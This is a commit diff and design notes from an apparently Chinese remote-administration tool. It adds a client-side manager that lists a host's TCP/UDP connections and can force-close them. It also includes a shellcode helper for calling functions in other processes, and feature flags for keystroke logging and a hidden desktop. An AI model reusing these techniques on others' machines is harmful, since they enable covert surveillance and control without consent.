operator DWORD64() { return func; }
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
#define CALLERSX(n) \
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
bool b = initShellCoder<n>(_sc);\
if(!b || !func || !_sc || !*_sc) return -1;\
detail::GCHelper helper;\
if(_is64Bit) {\
std::vector<DWORD64> param(n + 2, 0);\
param[0] = _dw64Ret;\
param[1] = func;\
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
return call<DWORD64>(param);\
}\
std::vector<DWORD> param(n + 1, 0);\
param[0] = (DWORD)func;\
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
return call<DWORD>(param);\
}
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
CALLERSX( 0)
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
#undef CALLERSX
#undef CALLERS
#undef TO_DWORD_ARRAY_DECL
#undef TO_DWORD64_ARRAY_DECL
};
#define YAPI(h, m, f) YAPICall(h, m, #f)
}
+36 -1
View File
@@ -320,6 +320,14 @@ enum {
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动 COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动 TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
TOKEN_DECRYPT = 199, TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表 TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识 COMMAND_REG_FIND, // 注册表 管理标识
@@ -357,8 +365,32 @@ enum {
COMMAND_TEXT_REPLACE = 249, COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250, TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器 TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
}; };
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
#pragma pack(push, 1) #pragma pack(push, 1)
struct SignatureResp { struct SignatureResp {
char msg[64]; char msg[64];
@@ -1031,6 +1063,7 @@ enum LOGIN_RES {
RES_CLIENT_ID = 16, // 客户端唯一ID RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小 RES_FILESIZE = 18, // 文件大小
RES_TLS = 19, // TLS 传输启用标志 0/1
RES_MAX, RES_MAX,
}; };
@@ -1183,7 +1216,9 @@ typedef struct MasterSettings {
char GetPluginUrl[80]; // Since 2026-04-08 char GetPluginUrl[80]; // Since 2026-04-08
char Authorized; // Since 2026-05-15 char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15 char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27 uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
char Reserved[102]; // Since 2025-11-27
} MasterSettings; } MasterSettings;
#pragma pack(pop) #pragma pack(pop)
+1
View File
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理 #define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理 #define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理 #define ENABLE_SERVICE_MNG TRUE // 服务管理
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理 #define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录 #define ENABLE_KEYBOARD TRUE // 键盘记录
+12
View File
@@ -256,6 +256,18 @@ public:
} }
}; };
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
// docs/FileTransferSpeed_Design.md)。
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
{
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
durMs = cfg.GetInt("transfer", "DurationMs", 50);
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
if (durMs < 0 || durMs > 2000) durMs = 50;
}
// 配置读取类: 注册表配置(带键句柄缓存) // 配置读取类: 注册表配置(带键句柄缓存)
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃 // 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
class iniFile : public config class iniFile : public config
+25 -3
View File
@@ -4,6 +4,8 @@
#include <iphlpapi.h> #include <iphlpapi.h>
#include <ws2tcpip.h> #include <ws2tcpip.h>
#include <WinInet.h> #include <WinInet.h>
#include <map>
#include <mutex>
#include "logger.h" #include "logger.h"
#include "jsoncpp/json.h" #include "jsoncpp/json.h"
@@ -200,6 +202,18 @@ public:
{ {
if (IP.empty()) return ""; if (IP.empty()) return "";
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
static std::map<std::string, std::string> geoCaches;
static std::mutex geoMutex;
{
std::lock_guard<std::mutex> lk(geoMutex);
auto it = geoCaches.find(IP);
if (it != geoCaches.end())
return it->second;
}
std::string ip = IP; std::string ip = IP;
if (isLocalIP(ip)) { if (isLocalIP(ip)) {
ip = getPublicIP(); ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
InternetCloseHandle(hInternet); InternetCloseHandle(hInternet);
if (location.empty() && IsPrivateIP(ip)) { if (location.empty() && IsPrivateIP(ip)) {
return "Local Area Network"; location = "Local Area Network";
}
// 只缓存成功结果;失败不缓存,允许下次重试。
if (!location.empty()) {
std::lock_guard<std::mutex> lk(geoMutex);
geoCaches[IP] = location;
} }
return location; return location;
} }
@@ -308,8 +328,10 @@ private:
} }
} }
std::string city = Utf8ToAnsi(json[cityField].asString()); // 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
std::string country = Utf8ToAnsi(json[countryField].asString()); // GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
std::string city = json[cityField].asString();
std::string country = json[countryField].asString();
if (!city.empty() && !country.empty()) return city + ", " + country; if (!city.empty() && !country.empty()) return city + ", " + country;
if (!city.empty()) return city; if (!city.empty()) return city;
+259
View File
@@ -0,0 +1,259 @@
# TCP/UDP 连接管理设计
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
>
> 需求原文(三点,逐一对应下文):
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
> 2. 客户端需要增加一个管理类来处理服务端请求;
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
## 1. 目标与范围
### MVP
| 项 | 说明 |
|---|---|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
### 非目标(Non-goals,本次不做)
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
## 2. 复用现状
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
### 客户端模板(读参考实现,全部已核实)
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
```
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub; }
m_hThread[m_ulThreadCount++].h =
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
```
连接管理照抄,仅换 `LoopConnectionManager`。
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
### 服务端模板(读参考实现,全部已核实)
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
### 工具栏(读参考,全部已核实)
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
`hiddenCount` 语义不变。
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
### 网络 API(客户端,新增依赖)
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
## 3. 协议与数据结构
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
```
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
```
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
```c
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
```
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
### 3.3 列表响应(客户端 → 服务端)
```
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
```
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
### 3.4 强制断开请求(服务端 → 客户端)
```
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
```
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
## 4. 客户端实现
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
- 类声明(`ConnectionsManager.h`):
```cpp
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager {
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList(); // 枚举并回传
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
```
- `SendConnectionList()`:
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
- `OnReceive()`:
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
```
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
break;
}
```
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
## 5. 服务端实现
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
`ToolBar_Main.bmp` 补第 17 格(见下)。
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
双节点/插头样式图标插入条尾;图标观感属评审项)。
- `2015RemoteDlg.cpp`:
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
## 6. 强制断开的实现与限制
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
## 7. 安全与边界
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
但列表按 PID 可辨识本程序进程名,便于人工避让。
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
(确认责任在操作者),但右键菜单为显式单点操作。
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
`"<unknown>"`,不阻塞枚举。
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
同类),属预期;不影响服务端其它功能。
## 8. 验证计划(施工后填写)
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
远端 `netstat` 不再显示;进程自身未受影响。
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
## 9. 实现记录
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
`htons` 转回网络序。详见 §3.2 / §6。
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
+151
View File
@@ -0,0 +1,151 @@
# YAMA 文件传输速度调节设计
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
> **读者**:研发/评审人员。
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
---
## 1. 背景与目标
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
---
## 2. 速度原理(现状)
